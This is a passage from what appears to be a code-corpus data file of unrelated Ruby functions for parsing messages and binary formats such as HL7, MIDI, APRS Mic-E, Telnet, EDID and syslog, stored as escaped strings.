non-ascii-7-bit bytes\n # into the replacement character (\\uFFFD)\n json.encode!(\"utf-8\", :undef => :replace)\n obj = json_to_object(json)\n\n # we already forced data to be binary encoded\n bin = data.slice!(0..(overall_length-json_length)-1)\n end\n end\n if obj\n unescape_all_strings(obj)\n type = obj[\"_message\"]\n obj.delete(\"_message\")\n Message.new(type, obj, bin)\n else\n nil\n end\nend", "def data\n puts \"[WARNING] data is deprected. Use message instead\"\n message\n end", "def do_something_with_PID(msg)\n msg_s = msg.to_s\n m_ary = msg_s.split('|')\n m_inc = m_ary.length\n pid = Hl7Pid.new\n while m_inc > 0 do\n m_inc = m_inc - 1\n v1 = m_ary[0] + \"_\" + m_inc.to_s + \"=\"\n v1 = v1.downcase\n pid.send(v1,m_ary[m_inc])\n #puts m_inc\n end\n pid.msh_9_id = $msh09\n pid.pid18_patacct = $pid18\n pid.pid3_mrn = $pid03\n pid.pid2_DOB = $pid02\n pid.pid4_ssn = $pid04\n pid.save\n # puts \"saved!\"\nend", "def process()\n\n\t\t# first byte holds the address\n\t\ti = @sBuffer[0]\n\n\t\t# nil == i that would mean buffer is empty -> should never happen\n\t\treturn super if i.nil?\n\n\t\t# convert byte-value to natural-value\n\t\ti = i.chr.to_i\n\n\t\t# no broadcast possible as we are using natural chars instead of byte-value\n\t\t# and are looking at only 1 char\n#TODO: allow 0 to 9 and map eg 9 to broadcast\n\t\t# abort if not a valid ID\n\t\treturn super if !((0..3).member?(i)) # if invalid ID\n\n\t\t# target serial ID\n\t\tiFDD = i\n\n\t\tsBasename = File::basename(@sPathFile)\n\n\t\t# second byte holds the command\n\t\ti = @sBuffer[1]\n\n\t\tcase i.chr\n\t\t\twhen 'u'\n\t\t\t\t# set duration\n\t\t\t\tsData = 'u'\n\n\t\t\t\t# read duration\n\t\t\t\ti = @sBuffer[2..-1].to_i\n\n\t\t\t\t# if not a valid duration, clear buffer\n\t\t\t\treturn super if (1 > i)\n\n\t\t\t\tputs 'OK:ft:Got set-timer-duration-signal from Trigger ' << sBasename + ' for FDD ' << iFDD.to_s << ' value: ' << i.to_s\n\n\t\t\t\t# append 4 bytes\n\t\t\t\tsData << ((i >> 24) & 0xFF) << ((i >> 16) & 0xFF)\n\t\t\t\tsData << ((i >> 8) & 0xFF) << (i & 0xFF)\n\n\t\t\twhen 'v'\n\t\t\t\t# start timer\n\t\t\t\tputs 'OK:ft:Got start-timer-signal from Trigger ' << sBasename + ' for FDD ' << iFDD.to_s\n\n\t\t\t\tsData = 'v'\n\n\t\t\twhen 'V'\n\t\t\t\t# stop timer\n\t\t\t\tputs 'OK:ft:Got stop-timer-signal from Trigger ' << sBasename + ' for FDD ' << iFDD.to_s\n\n\t\t\t\tsData = 'V'\n\n\t\t\telse\n\n\t\t\t\t# if not a valid command, clear buffer\n\t\t\t\tputs 'KO:ft: Got invalid-timer signal from Trigger ' << sBasename\n\t\t\t\treturn super\n\n\t\tend # switch case\n\n\t\tSssSEMapp.oIOframeHandler.writeFramed(iFDD, sData)\n\n\t\t# clear buffer and return self\n\t\tsuper\n\n\tend", "def vout_to_data(vout)\n asm = vout['scriptPubKey']['asm']\n data = ''\n asm.split(' ').each { |chunk|\n # TODO: Why do we test for even lengths here?\n # Block 435078 tx e133cb4d8df4626d80d8494bf5aa72a084368a61ce5fe2aa2a88580859c441dc\n # OP_RETURN 7171437 (Why is this not hex?)\n # This is not the only instance IIRC.\n if not chunk.start_with? 'OP_' and chunk.length % 2 == 0\n data += [chunk].pack('H*')\n end\n }\n data\nend", "def print_segments\n\t\t# METHOD: after all of the HL7 content has been parsed, print the contents of each segment in a more easily readible format\n\t\t# output for 1 segment looks like:\n\t\t\t\t\t#~ :: Segment: PID\n\t\t\t\t\t#~ PID-0: Segment => PID\n\t\t\t\t\t#~ PID-1: Set ID - PID => 1\n\t\t\t\t\t#~ PID-2: Patient ID => \n\t\t\t\t\t#~ PID-3: Patient Identifier List => [[\"P00057804\", \"\", \"\", \"\", \"PN\"], [\"4009887514\", \"\", \"\", \"AUSHIC\", \"MC\"], [\"SMIAL001\", \"\", \"\", \"\", \"PI\"]]\n\t\t\t\t\t#~ PID-4: Alternate Patient ID - PID => \n\t\t\t\t\t#~ PID-5: Patient Name => [\"SMITH\", \"Alan\", \"Ross\", \"\", \"Mr\"]\n\t\t\t\t\t#~ PID-6: Mother’s Maiden Name => \n\t\t\t\t\t#~ PID-7: Date/Time of Birth => 19770621\n\t\t\t\t\t#~ PID-8: Sex => M\n\t\t\t\t\t#~ PID-9: Patient Alias => \n\t\t\t\t\t#~ PID-10: Race => \n\t\t\t\t\t#~ PID-11: Patient Address => [\"818 Beach Road\", \"\", \"BEECHMERE\", \"\", \"4510\", \"AU\", \"H\"]\n\n\t\t\t# iterate over each segment\n\t\t\t@parsed_content.each do |segment|\n\t\t\t\tseg = segment[0]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t # eg => \"PID\"\n\t\t\t\t\n\t\t\t\t#get yaml file details\n\t\t\t\tyamlfile = \"hl7specification/#{seg}\"\t\t\t\t\t# for each segment, find the appropriate yaml file (ie one for each segment)\n\t\t\t\tspecs = YAML.load_file(yamlfile)\t\t\t\t\t\t\t# load the yaml file\n\t\t\t\t\n\t\t\t puts \":: #{specs[\"Header\"][\"name\"]} (#{seg})\"\t\t\t# print the text eg \":: Message Header Segment (MSH)\"\n\t\t\t \n\t\t\t # then iterate over each field in the particular segment\n\t\t\t\tsegment.each_with_index do |field, index|\t\t\t\t\t# then for each field...\n\t\t\t\t\tif index > 0 then\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# only if the index is 1 or more (ie the first value is not useful here)\n\t\t\t\t\t\tfld = \"#{seg}-#{index}\"\t\t\t\t\t\t\t\t\t # get the field id => \"PID-5\"\n\t\t\t\t\t\tprint \" #{fld}: \"\t\t\t\t\t\t \t\t\t\t\t\t# on each line print the particular field being queried eg \"PID-5: \"\n\t\t\t\t\t\tfldname = specs[fld][\"name\"]\t\t\t\t\t\t\t\t\t# get the name of the field from the yaml file\n\t\t\t\t\t\tprint \"#{fldname} => \"\t\t\t\t\t\t\t\t\t\t\t\t# print the field name after the field eg \"PID-5: Patient Name\"\n\t\t\t\t\t\tif field.class == String then\t\t\t\t\t\t\t\t\t# if the field class is a string...\n\t\t\t\t\t\t\tputs field\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# then just print (ie add) the value of the string eg \"PID-7: Date/Time of Birth => 19770621\"\n\t\t\t\t\t\telsif field.class == Array then\t\t\t\t\t\t\t\t# otherwise if the field is an array, ie there is lower level structure...\n\t\t\t\t\t\t\tputs field.inspect\t\t\t\t\t\t\t\t\t\t\t\t\t# then print the structure eg \"PID-5 Patient Name => [\"SMITH\", \"Alan\", \"Ross\", \"\", \"Mr\"]\"\n\t\t\t\t\t\tend # << end if field...\n\t\t\t\t\tend # << end if index > 0 \n\t\t\t\tend\t # << end segment.each_with_index\n\t\t\t\tputs\t\n\t\t end\t # << end @parsed_content.each\n\t \n\t end", "def data\n @p7.to_pem\n end", "def get_midigram path\n if File.exists? path\n if path =~ /.mid(i)?$/\n `midi2abc #{path} -midigram -Q 10`\n else\n `abc2midi #{path} -o tmp.mid 2>1 1>/dev/null && midi2abc tmp.mid -midigram -Q 100 && rm tmp.mid`\n end\n end\nend", "def decode_mic_e(to, message)\n\t\tputs \"mic e\"\n\t\tmic_e = Hash.new\n\t\tmic_e['format'] = 'Mic-E'\t\t\n\n\t\tif (message.size < 9)\n\t\t\tmic_e['error'] = 'Invalid Mic-E packet'\n\t\t\treturn(mic_e)\n\t\tend\n\n\t\tlat = ''\n\t\tlon = ''\n\t\tn_s = nil\n\t\tw_e = nil\n\t\tlon_offset = 0\n\n\n\n\t\tto.chars.each_with_index do |c, i|\n\t\t\tdata = MIC_E_ADDRESS[c]\n\t\t\tlat << data[0].to_s\n\t\t\t# puts data.join(',')\n\t\t\tcase i\n\t\t\t\twhen 3\n\t\t\t\t\tn_s = data[2]\n\t\t\t\twhen 4\n\t\t\t\t\tlon_offset = data[3]\n\t\t\t\twhen 5\n\t\t\t\t\tw_e = data[4]\n\t\t\tend\t\t\t\n\t\tend\n\n\t\tdeg = lat[0..1]\n\t\tmin = \"#{lat[2..3]}.#{lat[4..5]}\"\n\t\t\n\n\t\tlatitude = deg.to_f + (min.to_f / 60.0)\n\t\tlatitude = -latitude if n_s == 'S'\n\n\t\tmic_e['latitude'] = latitude\n\n\t\tdata = message[0..8]\n\n\n\t\tdeg = message[1].ord - 28\n\t\tdeg += lon_offset\n\n\t\tif deg >= 180 and deg <= 189\n\t\t\tdeg -= 80\n\t\telsif deg >= 190 and deg <= 199\n\t\t\tdeg -= 190\n\t\tend\n\n\t\tmin = message[2].ord - 28\n\t\tmin -= 60 if min >= 60\n\n\t\thun = message[3].ord - 28\n\n\t\tlongitude = deg.to_f + (\"#{min}.#{hun}\".to_f / 60.0)\n\t\tlongitude = -longitude if w_e == 'W'\n\n\t\tmic_e['longitude'] = longitude \n\n\t\tmic_e['symbol_code'] = message[7]\n\t\tmic_e['symbol_table_id'] = message[8]\n\n\t\tmic_e['message'] = message[9..-1]\n\n\t\t# TODO: Decode speed and course\n\t\t# TODO: Decode Mic-E status\n\t\t# TODO: Decode device type\n\n\t\treturn(mic_e)\n\tend", "def dump(message)\n\t\t\t\t\tbuffer = String.new\n\t\t\t\t\t\n\t\t\t\t\tmessage.each do |key, value|\n\t\t\t\t\t\t# Conversions required by NOTIFY_SOCKET specifications:\n\t\t\t\t\t\tif value == true\n\t\t\t\t\t\t\tvalue = 1\n\t\t\t\t\t\telsif value == false\n\t\t\t\t\t\t\tvalue = 0\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tbuffer << \"#{key.to_s.upcase}=#{value}\\n\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\treturn buffer\n\t\t\t\tend", "def populate(line, msg)\n @line = line\n @sequence = msg['sequence']\n @depth = msg['depth']\n @cmd = msg['cmd']\n @kind = msg['kind']\n @msg = msg['msg']\n @key = msg['key']\n end", "def formatrun(io)\n ich, ifnt = io.read(4).unpack('vv')\n\n {\n ich: ich, # ich (2 bytes): An unsigned integer that specifies the zero-based index of the first character of the text that contains the text run.\n ifnt: ifnt # ifnt (2 bytes): A FontIndex structure that specifies the font. If ich is equal to the length of the text, this record is undefined and MUST be ignored.\n }\n end", "def to_data(prog, offset, data)\n if data.is_a?(Hash)\n res = \"\\x0\"*@struct_size\n @members.each do |n, m|\n if data.key?(n.to_sym)\n items = Array(data[n.to_sym])\n item_offset = m.offset\n m.count.times do |index|\n s = member_item_to_data(prog, m, offset + item_offset, items[index])\n res[item_offset, size=s.bytesize] = s\n item_offset += size\n end\n end\n end\n elsif data.respond_to? :to_z80bin\n res = data.to_z80bin[0,@struct_size].ljust(@struct_size, \"\\x0\")\n elsif data.is_a?(String)\n res = data.dup.force_encoding(Encoding::ASCII_8BIT)[0,@struct_size].ljust(@struct_size, \"\\x0\")\n else\n data = Array(data)\n res = ''\n index = 0\n @members.reject {|_, m| m.alias}.each do |_, m|\n m.count.times do\n s = member_item_to_data(prog, m, offset, data[index])\n offset += s.bytesize\n index += 1\n res << s\n end\n end\n end\n res\n end", "def text\n\t\t\t@data[\"extract\"]\n\t\tend", "def decode(message)\n start_time= Time.now\n @message = message\n qio = QIO.new(@message)\n begin\n @length, @message_type = qio.message_header()\n @value = qio.read_item()\n rescue QException => qe\n @exception = qe\n end\n end", "def getBreakpadSymbolInfo(data)\n match = data.match(/MODULE\\s(\\w+)\\s(\\w+)\\s(\\w+)\\s(\\S+)/)\n\n raise 'invalid breakpad data' if !match || match.captures.length != 4\n\n match.captures\nend", "def midi_encoder(bytes)\n raise \"Invalid data length #{bytes.size}\" unless bytes.size % 7 == 0\n result = []\n (0...bytes.size).step(7).each do |start|\n chunk = bytes[start, 7]\n msbits = 0\n chunk.each_with_index do |b, i|\n msbits |= (b & 0x80) >> (7 - i)\n end\n result << msbits\n result += chunk.map{|b| b & 0x7F}\n end\n result\nend", "def data\n if @local\n @data\n else\n Codec::Data.to_object(Cproton.pn_disposition_data(@impl))\n end\n end", "def test_decode_pid()\n input = [\n 131, 103, 100, 0, 13, 110, 111, 110, 111, 100, 101, 64, 110, 111,\n 104, 111, 115, 116, 0, 0, 0, 31, 0, 0, 0, 0, 0]\n expected = Erlang::Pid.new(\n Erlang::Atom.new('nonode@nohost'), 31, 0, 0)\n\n stream = Erlang::StreamEmulator.new(input)\n actual = Erlang::decode(stream)\n\n assert_equal(expected, actual)\n end", "def dumpPpms()\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"PPM DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@ppms.length > 0)\r\n ppms = @ppms.sort\r\n ppms.each do |key, ppm|\r\n puts \"#{ppm.name}\\t(#{ppm.alias})\"\r\n end\r\n\r\n else\r\n puts \"No PPM variables to dump.\"\r\n end\r\n\r\n puts \"\"\r\n\r\n end", "def test_full_io_bytestr\n sleep(1) # pause between tests\n\n messages = VariousMIDIByteStrMessages\n messages_str = messages.join\n received_str = \"\"\n pointer = 0\n\n TestOutput.open do |output|\n TestInput.open do |input|\n\n messages.each do |msg|\n\n $>.puts \"sending: \" + msg.inspect\n\n output.puts(msg)\n sleep(1)\n received = input.gets_bytestr.map { |m| m[:data] }.flatten.join\n $>.puts \"received: \" + received.inspect\n\n assert_equal(messages_str.slice(pointer, received.length), received)\n \n pointer += received.length\n \n received_str += received\n \n end\n \n assert_equal(messages_str, received_str)\n \n end\n end\n\n end", "def parse(message)\n station = message.topic.gsub('#', '').gsub('bbc/livetext/', '')\n {\n :station_id => station,\n :text => message.payload,\n :received => Time.now\n }\n end", "def read_postition()\n start_command('F82', false, @status_debug_msg)\n end", "def printpacketdata\n puts \"@@packetdata =>\" + @@packetdata.bytes.to_s\nend", "def packetParse p\n # Check channel value to ensure we are dealing with an IM message\n if p[25..25].unpack(\"C\")[0] == 1\n\n # Find the length of the screenname\n snLength = p[26..26].unpack(\"c\")\n # Find the screenname\n sn = p[27..(27 + snLength[0])]\n\n\n # Check to see if we are receiving a message\n if p[9..9].unpack(\"c\")[0] == 7\n # The receiving message will always be contained 26 bytes after the screenname\n msgStart = 27 + snLength[0] + 26\n\n # We must be sending a message\n elsif p[9..9].unpack(\"c\")[0] == 6\n # The packet contains the recipients screenname, so let's just rename the sender to 'sender'\n sn = \"Sender\"\n msgStart = 27 + snLength[0] + 20\n \n # This isn't an IM packet, so exit\n else\n return nil\n end\n \n # Pull the message out of the packet data\n msg = p[msgStart..(p.length-4)]\n # Strip out any unprintable binary data\n msg = msg.gsub(/[^[:print:]]/, '')\n \n \n return [sn, msg] \n \n end\n \nend", "def process_data(data)\n print_headline\n tmp = data.dup\n\n # TELNETコマンドを抽出しダンプする.\n tmp.gsub!(/#{IAC}(\n [#{DONT}#{DO}#{WONT}#{WILL}].|\n #{SB}.(#{IAC}#{IAC}|[^#{IAC}])*#{IAC}#{SE}|\n [#{NOP}-#{GA}#{0.chr}-#{239.chr}]\n )/xon){\n case $1[0].chr\n when DONT; print \"> IAC DONT #{$1[1]}\\n\"\n when DO ; print \"> IAC DO #{$1[1]}\\n\"\n when WONT; print \"> IAC WONT #{$1[1]}\\n\"\n when WILL; print \"> IAC WILL #{$1[1]}\\n\"\n when SB ; print \"> IAC SB #{$1[1]} #{$1[2..-3].dump} IAC SE\\n\"\n else ; print \"> IAC #{$1[1]}\\n\"\n end\n }\n\n # 残りの部分を出力.\n tmp.each { |line| print line.dump, \"\\n\" } if tmp.size > 0\n end", "def message\n data.message\n end", "def parse(line)\n\t\titems = line.split(' ')\n\t\trecord = {}\n\t\t# debugger\n\t\trecord[:event] = items[0]\n\t\trecord[:time] = items[1]\n\t\trecord[:fnode] = items[2]\n\t\trecord[:tnode] = items[3]\n\t\trecord[:pktype] = items[4]\n\t\trecord[:pktsize] = items[5]\n\t\trecord[:fid] = items[7]\n\t\trecord[:srcadd] = items[8]\n\t\trecord[:desadd] = items[9]\n\t\trecord[:seqnum] = items[10]\n\t\trecord[:pktid] = items[11]\n\t\trecord\n\tend", "def data\n @buffer.string\n end", "def metadata\n msg['metadata']||{}\n end", "def extractCommandID(msgID)\n retVal = \"000\"\n\n # Check if the ID is a hexadecimal number\n if msgID =~ /(0x)?[0-9a-fA-F]+/\n # Convert the message ID from a string to a value\n val = msgID.to_i(16)\n\n # Strip off all but the last 12 bits and convert the value to a\n # hexadecimal string\n retVal = \"%03x\" % (val & 0x7ff)\n end\n\n return \"0x\" + retVal\nend", "def read_postition()\n execute_command('F82', false, @status_debug_msg)\n end", "def analyze_replay(replay_id)\n replay = get_replay(replay_id)\n demo = Zlib::Inflate.inflate(replay[16..-1])[30..-1]\n analysis = demo.unpack('H*')[0].scan(/../).map{ |b| b.to_i }[1..-1]\n end", "def spectrum_to_mgf(data)\n output_arr = []\n output_arr << %Q{COM=Project: In-silico Isotoper\\nBEGIN IONS\\nCHARGE=#{@charge_state}+\\nTITLE=Label: Sequence is #{@sequence} and options were #{@opts}}\n data.each do |entry|\n #\tTableEntry = Struct.new(:ion, :seq, :mass, :charge)\n output_arr << \"#{\"%.5f\" % entry.first }\\t#{\"%.5f\" % entry.last}\"\n end\n output_arr << \"END IONS\"\n File.open(\"#{@sequence}.mgf\", 'w') {|o| o.print output_arr.join(\"\\n\") }\n output_arr.join(\"\\n\")\n end", "def read_prologue_raw # :nodoc:\n Format::Current.read_prologue_raw(io)\n end", "def dumpPpms()\r\n $LOG.debug \"PpmContext::dumpPpms()\"\r\n 79.times {print \"=\"}\r\n puts\r\n puts \"PPM DUMP\".center(80)\r\n 79.times {print \"=\"}\r\n puts\r\n\r\n if(@ppms.length > 0)\r\n ppms = @ppms.sort\r\n ppms.each do |key, ppm|\r\n puts \"#{ppm.name}\\t(#{ppm.alias})\"\r\n end\r\n\r\n else\r\n puts \"No PPM variables to dump.\"\r\n end\r\n\r\n puts \"\"\r\n end", "def parse_line(line)\n begin\n @loggie.write(\"#{line}\\n\")\n line = line.split(\" \")\n if line[9] == 'voice'\n return Message.new(line[12],line[15],'started.',line[0].to_f,GROUP,line[8])\n elsif line[9] == 'end'\n return Message.new(line[14],line[17].gsub(',',''),'ended.',line[0].to_f,GROUP,line[8])\n elsif line[7] == \"audio\"\n led(\"rx\", line[-2].split('/')[0].to_i / 141.0)\n return \"audio\"\n elsif line[6] == 'group'\n return Message.new(line[4],line[7],line.last,line[0].to_f,GROUP,\"RF\")\n elsif line =~ /Call from/\n return Message.new(line[4],line[6],line.last,line[0].to_f,PRIV,\"RF\")\n end\n rescue => e\n @@logger.debug(e.inspect)\n @@logger.debug(e.backtrace)\n exit 1\n end\n end", "def midi_to_hash(midi, fs = 44100)\n {:frequency => midi_to_f(midi),\n :name => midi_to_note(midi),\n :harmonics => num_harmonics(midi_to_f(midi), fs),\n :octave => midi_to_octave(midi),\n :midi => midi\n } \nend", "def message\n @_event.data\n end", "def parse_sensor_data\n \n begin\n handled_messages = 0\n msg = \"\"\n\n while handled_messages < 100 do\n \n # output values\n messagetype = \"\"\n valuestring = \"\"\n\n msg = @serialport.read_nonblock(1)\n # search for valid start symbol, i.e. one of [h,v,q,a,p,l]\n if /[^hvqaplt]/.match(msg)\n # restart parsing process until a valid symbol is found\n # puts \"no valid messagetype found. got: #{msg}\"\n next\n end\n \n # assign messagetype\n messagetype = msg\n\n msg = @serialport.read_nonblock(1)\n # search for \" \"\n if /[^ ]/.match(msg)\n $logger.info(\"space missing after first byte. got: #{msg}\")\n next\n end\n ###\n msg = @serialport.read_nonblock(1)\n # search for a number or a \"-\"\n if /[^0-9|-]/.match(msg)\n \n next\n end\n \n valuestring = valuestring + msg\n ### \n # only allow 4 digit values to avoid infinite loop here.\n 4.times do \n msg = @serialport.read_nonblock(1)\n \n # search for a number or \"\\n\"\n if /[0-9]/.match(msg)\n valuestring = valuestring + msg\n else \n break \n end\n end\n ### \n \n # flush trailing \"\\n\" and \"\\r\"\n msg = @serialport.read_nonblock(1)\n \n # message parsing successful, invoke callback\n @callbackhandler.handle_sensor_event(messagetype, valuestring)\n\n handled_messages = handled_messages + 1\n end\n rescue EOFError\n # Finished processing the file\n \t $logger.error(\"EOFError while reading from the serial port\") \n rescue Exception => e\n $logger.error(\"exception caught: \" + e)\n end\n end", "def receive_data(data)\n (@buffer ||= BufferedTokenizer.new(delimiter = \"__1_EE\")).extract(data).each do |line|\n #strip newline at beginning of line\n if line.match(/^\\W{1}./)\n line = line[1..line.length-1]\n end\n if line.valid?\n log_entry(line)\n send_data \"0\"\n else\n port, ip = Socket.unpack_sockaddr_in(get_peername)\n host = Socket.getaddrinfo(ip, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME)[0][2]\n ActiveRecord::Base.logger.error \"Dropped log entry from #{host} - checksum invalid\"\n send_data \"99\"\n end\n end\n end", "def process_message(msg)\n launcher = @IA_Info[:launcher]\n case msg.first\n when :msg_fail, :unefficient_msg, :useless_msg\n @IA_Info[:failure] = true\n when :efficiency_sound\n @IA_Info[:failure] = true if msg.last == 0\n when :hp_down, :hp_down_proto\n if msg[1] == launcher\n @IA_Info[:recoil] += msg[2] if @IA_Info[:symbol] != :s_explosion\n else\n @IA_Info[:damage] += msg[2]\n end\n when :hp_up\n if msg.first == launcher\n @IA_Info[:recoil] -= msg[2]\n else\n @IA_Info[:damage] -= msg[2]\n end\n when :OHKO\n if msg[1] == launcher\n @IA_Info[:recoil] += msg[1].max_hp\n else\n @IA_Info[:damage] += msg[1].max_hp\n end\n when :rand_check\n @IA_Info[:randomness] = msg[1] ? msg[1].to_f / msg.last : msg.last / 100.0\n when :weather_change\n unless BattleEngine.state[:air_lock]\n @IA_Info[:other_factor] = get_weather_advantage_factor(msg[1]) if $env.current_weather == 0\n end\n when :attract_effect\n if msg[1] == launcher\n @IA_Info[:other_factor] = 0.1\n else\n @IA_Info[:other_factor] = get_attract_factor(msg[1])\n end\n when :effect_afraid\n @IA_Info[:status_factor] = rand\n when :status_confuse\n unless @IA_Info[:target].confused?\n @IA_Info[:status_factor] = rand * turn_status_factor(launcher) unless detect_protect_on_status(msg[1], false)\n end\n when :perish_song\n unless @IA_Info[:target].battle_effect.has_perish_song_effect? or launcher.battle_effect.has_perish_song_effect?\n @IA_Info[:other_factor] = get_basic_factor\n end\n when :future_skill\n @IA_Info[:other_factor] = get_basic_factor unless @IA_Info[:target].battle_effect.is_locked_by_future_skill? or launcher.battle_effect.has_future_skill?\n when :stat_reset_neg, :stat_reset\n @IA_Info[:other_factor] = get_basic_factor if launcher.battle_stage.sum < 0\n when :stat_set\n if msg[1] == launcher\n if msg.last > 0\n @IA_Info[:other_factor] = get_basic_factor if (launcher.battle_stage[msg[2]] - msg.last) < 0\n end\n else\n if msg.last < 0\n @IA_Info[:other_factor] = get_basic_factor if (@IA_Info[:target].battle_stage[msg[2]] - msg.last) > 0\n end\n end\n when :set_type\n @IA_Info[:other_factor] = get_basic_factor unless msg[1].type?(msg[2])\n when :set_ability\n @IA_Info[:other_factor] = get_basic_factor unless msg[1].ability_current == msg[2]\n when :switch_pokemon\n @IA_Info[:other_factor] = get_basic_factor if launcher.hp_rate < 0.5\n when :mimic\n @IA_Info[:other_factor] = get_basic_factor if $game_temp.battle_turn > 1 and msg[2].last_skill != 0\n when :entry_hazards_remove\n if BattleEngine.state[:enn_spikes] > 0 or\n BattleEngine.state[:enn_toxic_spikes] > 0 or\n BattleEngine.state[:enn_stealth_rock] or\n BattleEngine.state[:enn_sticky_web]\n @IA_Info[:other_factor] = get_basic_factor(0.8)\n end\n when :apply_out_of_reach\n @IA_Info[:other_factor] = get_basic_factor\n when :set_hp\n if msg[1] == launcher\n @IA_Info[:recoil] += launcher.hp - msg[2]\n else\n @IA_Info[:damage] += @IA_Info[:target] - msg[2]\n end\n when :berry_use\n @IA_Info[:other_factor] = 0.2\n when :after_you\n @IA_Info[:other_factor] = get_basic_factor\n when :change_atk, :change_dfe, :change_spd, :change_dfs, :change_ats, :change_eva, :change_acc\n if msg[1] == launcher\n if msg.last > 0\n @IA_Info[:other_factor] = get_basic_factor if (launcher.battle_stage.sum - msg.last) < 0\n end\n else\n if msg.last < 0\n @IA_Info[:other_factor] = get_basic_factor if (@IA_Info[:target].battle_stage.sum - msg.last) > 0\n end\n end\n when :status_sleep\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_asleep?\n @IA_Info[:status_factor] = get_basic_factor * turn_status_factor(launcher)\n end\n end\n when :status_frozen\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_frozen?(@IA_Info[:skill].type)\n @IA_Info[:status_factor] = get_basic_factor * 2\n end\n end\n when :status_poison\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_poisoned?\n @IA_Info[:status_factor] = get_basic_factor * turn_status_factor(launcher)\n end\n end\n when :status_toxic\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_poisoned?\n @IA_Info[:status_factor] = get_basic_factor * 2\n end\n end\n when :status_paralyze\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_paralyzed?\n @IA_Info[:status_factor] = get_basic_factor * turn_status_factor(launcher)\n end\n end\n when :status_burn\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_burn?\n @IA_Info[:status_factor] = get_basic_factor * 2\n end\n end\n when :status_cure\n if msg[1].status != 0 and msg[1] == launcher\n @IA_Info[:status_factor] = get_basic_factor\n end\n when :set_state\n @IA_Info[:other_factor] = get_basic_factor(0.8) if BattleEngine.state[msg[1]] != msg[2]\n when :send_state\n @IA_Info[:other_factor] = get_basic_factor(0.6)\n when :apply_effect\n @IA_Info[:other_factor] = get_basic_factor(0.3)\n when :status_chance\n @IA_Info[:status_chance] = msg.last / 100.0\n when :chance\n @IA_Info[:randomness] = msg.last / 100.0\n end\n end", "def loudness_info(path)\n command = \"#{bin(:ffmpeg)} -nostats -vn -i '#{path}' -y -filter_complex ebur128=peak=true -f null - 2>&1 | tail -12\"\n out, err = run_command(command, echo_return: false)\n\n lines = out.split(\"\\n\").map(&:strip).compact.map { |o| o.split(\":\").map(&:strip) }\n group = nil\n info = {}\n lines.each do |i|\n if i.length == 1 && i[0].length > 0\n group = i[0].downcase.gsub(' ', '_').to_sym\n info[group] ||= {}\n elsif i.length == 2\n key = i[0].downcase.gsub(' ', '_').to_sym\n info[group][key] = i[1].to_f\n end\n end\n info\n end", "def write(sequence_hash)\n # Create a new, empty sequence.\n seq = MIDI::Sequence.new()\n \n track = MIDI::Track.new(seq)\n seq.tracks << track\n track.events << MIDI::Tempo.new(MIDI::Tempo.bpm_to_mpq(120))\n i = 0\n \n # Create a track to hold the notes. Add it to the sequence.\n sequence_hash.each { |instrument, midi_elements|\n track = MIDI::Track.new(seq)\n seq.tracks << track\n \n if (MIDI::GM_PATCH_NAMES.include?(instrument)) then\n program_change = MIDI::GM_PATCH_NAMES.index(instrument)\n else\n program_change = MIDI::GM_DRUM_NOTE_NAMES.index(instrument)\n i = 10 # set channel to 10 => percussion channel\n end\n \n # Give the track a name and an instrument name (optional).\n track.instrument = instrument\n \n # Add a volume controller event (optional).\n track.events << MIDI::Controller.new(i, MIDI::CC_VOLUME, 127)\n track.events << MIDI::ProgramChange.new(i, program_change, 0)\n midi_elements.each { |midi_element|\n track.events << MIDI::NoteOn.new(i, midi_element.note ,127,0)\n track.events << MIDI::NoteOff.new(i, midi_element.note ,127, seq.note_to_delta(midi_element.duration))\n }\n\n i += 1\n i += 1 if (i == 10)\n }\n \n write_midi(seq)\n end", "def show_program_h_offset\n\t\t\tputs \" Start of program headers: #{@elf_program_h_offset.to_h} (bytes into file)\"\n\t\tend", "def command_map m\n get_map m.channel #logic/srcds\n end", "def edid_decode_dtd( bytes, offset )\n print \" \"\n pixel_clock = ((bytes[offset+1])<<8) + bytes[offset+0]\n if pixel_clock > 0\n # Detailed Timing Descriptor data\n puts \"Detailed Timing Descriptor: %u MHz\" % (pixel_clock / 100)\n else\n # Monitor Descriptor data\n descriptor_flag2 = bytes[offset+2] # reserved, should be 0\n descriptor_type = bytes[offset+3]\n descriptor_flag4 = bytes[offset+4] # reserved, should be 0\n data_start = offset+5\n data_end = offset+17\n case descriptor_type\n when 0xff\n puts \"Display Serial Number: %s\" % bytes[data_start..data_end].map{|c|\"%c\"%c}.join.split(\"\\n\")\n when 0xfe\n puts \"Unspecified Text: %s\" % bytes[data_start..data_end].map{|c|\"%c\"%c}.join.split(\"\\n\")\n when 0xfd\n puts \"Display Range Limits Descriptor\"\n when 0xfc\n puts \"Display Name: %s\" % bytes[data_start..data_end].map{|c|\"%c\"%c}.join.split(\"\\n\")\n when 0xfb\n puts \"Additional White Point Data\"\n when 0xfa\n puts \"Additional Standard Timing Identifiers\"\n when 0xf9\n puts \"Display Color Management (DCM) Descriptor\"\n when 0xf8\n puts \"CVT 3-byte Timing Codes\"\n when 0xf7\n puts \"Additional Standard Timing Descriptor\"\n when 0x10\n puts \"Dummy Descriptor\"\n when 0x00..0x0f # manufacturer reserved descriptors\n puts \"Manufacturer Reserved Descriptor (type 0x02x)\" % descriptor_type\n puts \" Data: %s\" % bytes[data_start..data_end].map{|b|\"%02x\"%b}.join(' ')\n else\n puts \"Undefined Monitor Descriptor (type 0x%02x)\" % descriptor_type\n puts \" Data: %s\" % bytes[data_start..data_end].map{|b|\"%02x\"%b}.join(' ')\n end\n end\nend", "def event_data(matching)\n event = {}\n event[:priority] = matching[1].to_i\n event[:syslog_version] = matching[2].to_i\n event[:emitted_at] = nil?(matching[3]) ? nil : Time.parse(matching[3]).utc\n event[:hostname] = interpret_nil(matching[4])\n event[:appname] = 